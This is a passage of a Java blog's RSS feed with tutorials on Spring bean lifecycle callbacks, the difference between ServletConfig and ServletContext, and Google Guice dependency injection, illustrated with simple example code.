        System.out.println("We are in initMethod of Test");
    }

    public void destroyMethod(){
        System.out.println("We are in destroyMethod of Test");
    }

}
</pre>
<p>The output will be:</p>
<pre class="prettyprint" lang-java>
We are in the constructor of Test
We are in initMethod of Test
We are in destroyMethod of Test
</pre>
<p>It&#8217;s also possible to declare default init- and destroy-methods in the xml-file. This is done in the beans-tag:</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
       default-init-method="initMethod"
       default-destroy-method="destroyMethod"&gt;
...
</pre>
</p>
<p>
<h1>LifeCycles with interfaces</h1>
<p>It&#8217;s possible to call the lifecyclemethods by implemnting a Spring interface.<br />
It&#8217;s very easy to do but I don&#8217;t recommend this because when you use the interfaces, your code will be highly coupled to the Spring Framework which isn&#8217;t always a good case.<br />
<b>Config.xml</b><br />
You don&#8217;t have to set an init and destroy method in the xml-file</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt;

    &lt;bean id="interfacesTest" class="b.Test"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
This is always the same&#8230;</p>
<pre class="prettyprint" lang-java>
package b;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InterfaceTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("interfacesTest",Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We have to implement InitializingBean for init-methods and DisposableBean for destroy-methods</p>
<pre class="prettyprint" lang-java>
package b;

import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements InitializingBean, DisposableBean {

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("We are in afterPropertiesSet of Test");
    }

    public void destroy() throws Exception {
        System.out.println("We are in destroy of Test");
    }
}
</pre>
</p>
<p>
<h1>Lifecycle with annotations</h1>
<p><b>Config.xml</b><br />
Don&#8217;t forget to include to enable annotations with the Contextparameters in the xml-file</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?>
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt;
   &lt;context:annotation-config/&gt;

    &lt;bean id="annotationsTest" class="c.Test"&gt;
    &lt;/bean&gt;

&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
Still the same&#8230;</p>
<pre class="prettyprint" lang-java>
package c;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AnnotationsTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("annotationsTest", Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We can use the lifecyclemethods with the annotations @PostConstruct for init-methods and @PostDestroy for destroy-methods.</p>
<pre class="prettyprint" lang-java>
package c;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;

public class Test {

    public Test() {
        System.out.println("We are in the constructor of Test");
    }

    @PostConstruct
    public void start(){
        System.out.println("We are in the start-method of Test");
    }

    @PreDestroy
    public void stop(){
        System.out.println("We are in the stop-method of Test");
    }
}
</pre>
</p>
<p>
<h1>Putting them all together</h1>
<p>It&#8217;s possible to use the 3 methods all together<br />
<b>Config.xml</b></p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt;
   &lt;context:annotation-config/&gt;

    &lt;bean id="allTogether" class="d.Test" init-method="initMethod" destroy-method="destroyMethod"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b></p>
<pre class="prettyprint" lang-java>
package d;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AllTogetherTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("allTogether", Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We are using interfaces AND annotations.<br />
It&#8217;s even possible to use multiple times the same annotation:</p>
<pre class="prettyprint" lang-java>
package d;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements DisposableBean,InitializingBean {

    public void destroy() throws Exception {
        System.out.println("DisposableBean-Interface");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("InitializingBean-Interface");
    }

    @PostConstruct
    public void start(){
        System.out.println("First PostConstruct");
    }

    @PostConstruct
    public void start2(){
        System.out.println("Second PostConstruct");
    }

    @PostConstruct
    public void start3(){
        System.out.println("Third PostConstruct");
    }

    @PreDestroy
    public void stop(){
        System.out.println("PreDestroy");
    }

    public void initMethod(){
        System.out.println("initMethod");
    }

    public void destroyMethod(){
        System.out.println("destroyMethod");
    }
}
</pre>
<p>The output is:</p>
<pre class="prettyprint" lang-text>
Third PostConstruct
Second PostConstruct
First PostConstruct
InitializingBean-Interface
initMethod
PreDestroy
DisposableBean-Interface
destroyMethod
</pre>
<p>So we can conclude that the annotations are processed first, followed by the interfaces and at last the methods from the xml-file.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>servletconfig vs servletcontext</title>
		<link>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/</link>
		<comments>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 20:15:58 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[jsp]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[server management]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=80</guid>
		<description><![CDATA[In this little blogpost, I&#8217;ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application. ServletConfig ServletContext Access deploy-time servlet parameters Access web application parameters One per servlet One per web application ServletConfig ServletConfig is actually very simple. Like stated above, you can retrieve parameters ]]></description>
			<content:encoded><![CDATA[<p><img src="http://dev.eek.be/wp-content/uploads/2009/10/java2.jpg" alt="java2" title="java2" width="300" height="225" class="aligncenter size-full wp-image-151" /></p>
<p>In this little blogpost, I&#8217;ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application.</p>
<table cellpadding="2" cellspacing="0" border="1">
<tr>
<td><b>ServletConfig</b></td>
<td><b>ServletContext</b></td>
</tr>
<tr>
<td>Access deploy-time servlet parameters</td>
<td>Access web application parameters</td>
</tr>
<tr>
<td>One per servlet</td>
<td>One per web application</td>
</tr>
</table>
<p><b>ServletConfig</b></p>
<p>ServletConfig is actually very simple. Like stated above, you can retrieve parameters for the servlet which are set at deployment time.<br />
I&#8217;ll explain this with a very simple example.
</p>
<p>
If you have created a servlet with the name &#8220;MyServlet&#8221; you can add the following 2 variables into the servlet:</p>
<pre class="prettyprint" lang-xml>
    &lt;servlet&gt;
         &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;
         &lt;servlet-class&gt;servlets.MyServlet&lt;/servlet-class&gt;
         &lt;init-param&gt;
             &lt;param-name&gt;variable1&lt;/param-name&gt;
             &lt;param-value&gt;I'm var1&lt;/param-value&gt;
         &lt;/init-param&gt;
         &lt;init-param&gt;
             &lt;param-name&gt;variable2&lt;/param-name&gt;
             &lt;param-value&gt;I'm var2&lt;/param-value&gt;
         &lt;/init-param&gt;
     &lt;/servlet&gt;
     &lt;servlet-mapping&gt;
         &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;
         &lt;url-pattern&gt;/MyServlet&lt;/url-pattern&gt;
     &lt;/servlet-mapping&gt;
</pre>
</p>
<p>
You can retrieve variable2 with the following code:</p>
<pre class="prettyprint" lang-java>
getServletConfig().getInitParameter("variable2");
</pre>
</p>
<p>
Retrieve all the variables of the servlet and loop over them:</p>
<pre class="prettyprint" lang-java>
Enumeration allvars = getServletConfig().getInitParameterNames();
while (allvars.hasMoreElements()) {
     String next = (String) allvars.nextElement();
     out.println(next + " has the value " + getServletConfig().getInitParameter(next));
}
</pre>
</p>
<p>
It&#8217;s also possible to retrieve the servlets name through getServletconfig</p>
<pre class="prettyprint" lang-java>
out.println("The name of the servlet is: " + getServletConfig().getServletName());
</pre>
</p>
<p><b>ServletContext</b></p>
<p>
ServletContext can be used to retrieve application-wide parameters, get serverparameters and store/retrieve/remove application-wide attributes.
</p>
<p>It is possible to call the ServletContext right on or through the ServletConfig. Both are the same so you can choose between them.</p>
<pre class="prettyprint" lang-java>
if (getServletContext().equals(getServletConfig().getServletContext())) {
       out.println("both calls retrieve the same Context");
}
</pre>
</p>
<p>
Just like with ServletConfig, you can set parameters in the Deployment Descriptor. They are initialized on compile time. It&#8217;s not possible to remove or add them on runtime.</p>
<pre class="prettyprint" lang-xml>
&lt;context-param&gt;
        &lt;param-name&gt;variable3&lt;/param-name&gt;
        &lt;param-value&gt;Im var 3&lt;/param-value&gt;
&lt;/context-param&gt;
</pre>
<p>And call them in your servlet just like the ServletConfig parameters:</p>
<pre class="prettyprint" lang-java>
getServletContext().getInitParameter("variable3")
</pre>
</p>
<p>
Unlike ServletConfig, ServletContext can work with attributes. These are parameters or objects which you can set into the servlet and retrieve in every other servlet of your Web Application:</p>
<pre class="prettyprint" lang-java>
getServletContext().setAttribute("test", "I'm an application-wide String");
..
out.println(getServletContext().getAttribute("test"));
..
getServletContext().removeAttribute("test");
</pre>
</p>
<p>
I&#8217;ll end this little short tutorial with an example of how you can retrieve serversettings through the Context:</p>
<pre class="prettyprint" lang-java>
out.println(getServletContext().getContextPath());
out.println(getServletContext().getMajorVersion());
out.println(getServletContext().getRealPath(""));
out.println(getServletContext().getServerInfo());
</pre>
</p>
<p>If there are any more questions, just shoot them <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dependency Injection with Google Guice by example</title>
		<link>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/</link>
		<comments>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 19:22:20 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[annotations]]></category>
		<category><![CDATA[bindings]]></category>
		<category><![CDATA[Dependency injection]]></category>
		<category><![CDATA[di]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Guice]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Inversion of control]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[modules]]></category>
		<category><![CDATA[providers]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=66</guid>
		<description><![CDATA[In this blogpost, I&#8217;ll explain Dependency Injection with Google Guice through a lot of examples. Hope you like it. Annotation based DI It&#8217;s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. ]]></description>
			<content:encoded><![CDATA[<p>In this blogpost, I&#8217;ll explain <a href="http://en.wikipedia.org/wiki/Dependency_injection" target="_blank">Dependency Injection</a> with <a href="http://code.google.com/p/google-guice/" target="_blank">Google Guice</a> through a lot of examples. Hope you like it.</p>
<p><u>Annotation based DI</u><br />
It&#8217;s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. There are 2 types of payments (by card or cash) and they will be injected by Guice.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCash</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I'll pay just plain cash");
    }
}
</pre>
<p><b>PaymentCard</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}
</pre>
<p><b>Order</b></p>
<pre class="prettyprint" lang-java>
public class Order {

    private Payment payment;

    public Payment getPayment() {
        return payment;
    }

    public void setPayment(Payment payment) {
        this.payment = payment;
    }

    public void finishOrder(){
        this.payment.pay();
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Order order = new Order();
        Payment payment = new PaymentCardImpl();
        order.setPayment(payment);
        order.finishOrder();
    }
}
</pre>
<p>There isn&#8217;t any Dependency injection in the code above. All the classes are highly coupled into each other. So it&#8217;s time to do some magic:<br />
<b>Payment</b><br />
You can tell through the use of annotations which Payment type is the default implemented class</p>
<pre class="prettyprint" lang-java>
@ImplementedBy(PaymentCardImpl.class)
public interface Payment {
    public void pay();
}
</pre>
<p><b>Order</b><br />
Inject the payment type in the order. What we here say is: Inject the default paymentimplementation, which is set by the @implementedby annotation, into the payment field.</p>
<pre class="prettyprint" lang-java>
public class Order {
    @Inject
    private Payment payment;
....
</pre>
<p><b>Main</b><br />
Lastly, we have to rewrite the main class. In this example, we get an order which uses the PaymentCard as payment type</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
       Injector injector = Guice.createInjector();
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}
</pre>
<p>You can run this code. The output should be -I&#8217;ll pay with a credit card-. This code is so cool because if we want to switch to payment with cash at a later point, we just have to change the @implementedBy annotation in the interface and we are done.</p>
<div style="border: 1px solid silver; padding: 8px; background-color: rgb(249, 249, 249); text-align: left;">
<script type="text/javascript"><!--
google_ad_client = "pub-1041875485625119";
/* 160x90, gemaakt 3-6-10 */
google_ad_slot = "3673564135";
google_ad_width = 160;
google_ad_height = 90;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
<p><u>Injection types</u><br />
Guice knows different types of injection. The 3 most used are constructor, field and method injection (Examples are based on the above example)<br />
<b>Constructor injection</b></p>
<pre class="prettyprint" lang-java>
import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public Order(Payment payment){
        this.payment=payment;
    }
   ...
}
</pre>
<p><b>Method injection</b></p>
<pre class="prettyprint" lang-java>
import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public void setPayment(Payment payment) {
        this.payment = payment;
    }
   ...
}
</pre>
<p><b>Field injection</b></p>
<pre class="prettyprint" lang-java>
public class Order {
    @Inject
    private Payment payment;
   ...
}
</pre>
<p><u>Module based DI</u><br />
It&#8217;s also possible to use Modules for injecting data. It&#8217;s maybe a little more work but I like it because all the configuration is in the same file. You can compare this with the xml-file in Spring applications.<br />
<b>Payment</b><br />
Remove the @ImplementedBy annotation in the paymentinterface</p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>MyModule</b><br />
Next, create the Module class. It has to implement Module, which has one method: configure.<br />
The code speaks for its self. You say nothing more than bind Payment to PaymentCard.</p>
<pre class="prettyprint" lang-java>
public class MyModule implements Module {
    public void configure(Binder arg0) {
        arg0.bind(Payment.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p>Instead of implementing Module, you can also extend AbstractModule. It&#8217;s just a matter of choice.</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    public void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p><b>Main</b><br />
Lastly, we have to put the module into our injector and we are done.</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        MyModule module = new MyModule();
        Injector injector = Guice.createInjector(module);
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}
</pre>
<p>The 4 lines in the main class can be written into 1 single line:</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Order.class).finishOrder();
    }
}
</pre>
<p><u>Subclassing</u><br />
In Guice, it&#8217;s easy to subclass an implementation.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCardImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}
</pre>
<p><b>PaymentVisaCard</b><br />
extend payment card with paymentvisacard</p>
<pre class="prettyprint" lang-java>
public class PaymentVisaCard extends PaymentCardImpl {
    public void pay() {
        System.out.println("I'll pay with a card from Visa");
    }
}
</pre>
<p>Nothing special in the Main class<br />
<b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Payment.class).pay();
    }
}
</pre>
<p><b>MyModule</b><br />
You can specify the hierarchy in the moduleclass</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
        bind(PaymentCardImpl.class).to(PaymentVisaCard.class);
    }
}
</pre>
<p>If you run this code, the Visa Card will be used.<br />
<u>Annotationbindings</u><br />
It&#8217;s also possible to use annotations for injection<br />
<b>Payment</b><br />
There&#8217;s nothing special in the interface and implementations:</p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCardImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I pay with a card");
    }
}
</pre>
<p><b>PaymentCashImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I pay cash");
    }
}
</pre>
<p>Next, we have to created the annotations @cash and @Card<br />
<b>Cash</b></p>
<pre class="prettyprint" lang-java>
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Cash { }
</pre>
<p><b>Card</b></p>
<pre class="prettyprint" lang-java>
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Card { }
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new PayModule()).getInstance(Order.class).finishOrder();
    }
}
</pre>
<p><b>Module</b><br />
You have to specify which annotations refers to which implementation in the moduleclass</p>
<pre class="prettyprint" lang-java>
public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Cash.class).to(PaymentCashImpl.class);
        bind(Payment.class).annotatedWith(Card.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p><b>Order</b><br />
Now you can use the annotation in your code to inject the right class</p>
<pre class="prettyprint" lang-java>
public class Order {

    @Inject
    private @Card Payment payment;
   ...
</pre>
<p>If you want to chane Cardpayments to Cashpayments, just change the @Card annotation to @Cash</p>
<p><u>Namedannotationbindings</u><br />
You can also use named annotations. This is a Guice annotation where the value is specified inside the moduleclass.<br />
The paymentinterface, the Main and the Cash and Card implementations are the same as the previous example.<br />
<b>Module</b><br />
Give the annotations a name (&#8220;Cash&#8221; and &#8220;Card&#8221;)</p>
<pre class="prettyprint" lang-java>
public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Names.named("Cash")).to(CashPayment.class);
        bind(Payment.class).annotatedWith(Names.named("Card")).to(CardPayment.class);
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
 * @author wim
 */
public class Main {
    public static void main(String[] args) {
        Injector inj = Guice.createInjector(new PayModule());
        Order order = inj.getInstance(Order.class);
        order.getPaymentCard().pay();

        Guice.createInjector(new PayModule()).getInstance(Order.class).getPaymentCash().pay();
    }
}
</pre>
<p><b>Order</b><br />
Now you can use them in your order</p>
<pre class="prettyprint" lang-java>
public class Order {

    private Payment paymentCash;
    private Payment paymentCard;

    @Inject
    public void setPaymentCash(@Named("Cash") Payment payment){
        this.paymentCash=payment;
    }

    public Payment getPaymentCash(){
        return paymentCash;
    }

    @Inject
    public void setPaymentCard(@Named("Card") Payment payment){
        this.paymentCard=payment;
    }

    public Payment getPaymentCard(){
        return paymentCard;
    }
}
</pre>
<p>These annotations are very simple but I don&#8217;t recommend them. Guice doesn&#8217;t check them on spelling or validity so they are kinda error prone.<br />
<u>Instancebinding</u><br />
With instancebinding, you can easily give a value to an instance<br />
<b>Module</b><br />
Give a value to a name inside the module</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(String.class)
        .annotatedWith(Names.named("PaymentType"))
        .toInstance("...I'm a Visa Card...");
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        String text = Guice.createInjector(new MyModule()).getInstance(Order.class).getText();
        System.out.println(text);
    }
}
</pre>
<p><b>Order</b><br />
Use the annotation.  The String text will be injected with &#8220;&#8230;I&#8217;m a Visa Card&#8230;&#8221;.</p>
<pre class="prettyprint" lang-java>
public class Order {

    @Named("PaymentType")
    @Inject
    private String text;

    public String getText(){
        return text;
    }
}
</pre>
<p><u>Providers</u><br />
The last example is with the use of providers.<br />
A provider can be used when you have to craete an object. You have to annotate it with the @Provides annotation and the return type is the bound type.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    void pay();
    int getAmount();
}
</pre>
<p><b>CashPayment</b></p>
<pre class="prettyprint" lang-java>
public class CashPayment implements Payment{

    private int amount;

    public void pay() {
        System.out.println("Inside cashpayment");
    }

    public void setAmount(int amount){
        this.amount=amount;
    }

    public int getAmount(){
        return amount;
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Payment payment = Guice.createInjector(new MyModule()).getInstance(Payment.class);
        payment.pay();
        System.out.println(payment.getAmount());
    }
}
</pre>
<p><b>MyModule</b><br />
Inside the module class, we can construct the class and set the amount of payment.</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule{

    @Override
    protected void configure() {
    }

    @Provides
    Payment providePayment(){
        CashPayment pay = new CashPayment();
        pay.setAmount(100);
        return pay;
    }
}
</pre>
<p><u>Conclusion</u><br />
You can do more with Guice than described above but that&#8217;s up to you to find out.<br />
<b>I love Guice!!</b> It&#8217;s pretty simple and works very good. You don&#8217;t have to use XML to bind your classes and it&#8217;s very lightweight. If you just wan&#8217;t to use Dependency Injection, Guice is in my opinion the number 1.<br />
<script type="text/javascript">var dzone_url = 'http://dev.eek.be/?p=66';</script><br />
<script type="text/javascript">var dzone_title = 'Dependency Injection with Google Guice by example';</script><br />
<script type="text/javascript">var dzone_blurb = 'Google Guice by example';</script><br />
<script type="text/javascript">var dzone_style = '1';</script><br />
<script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

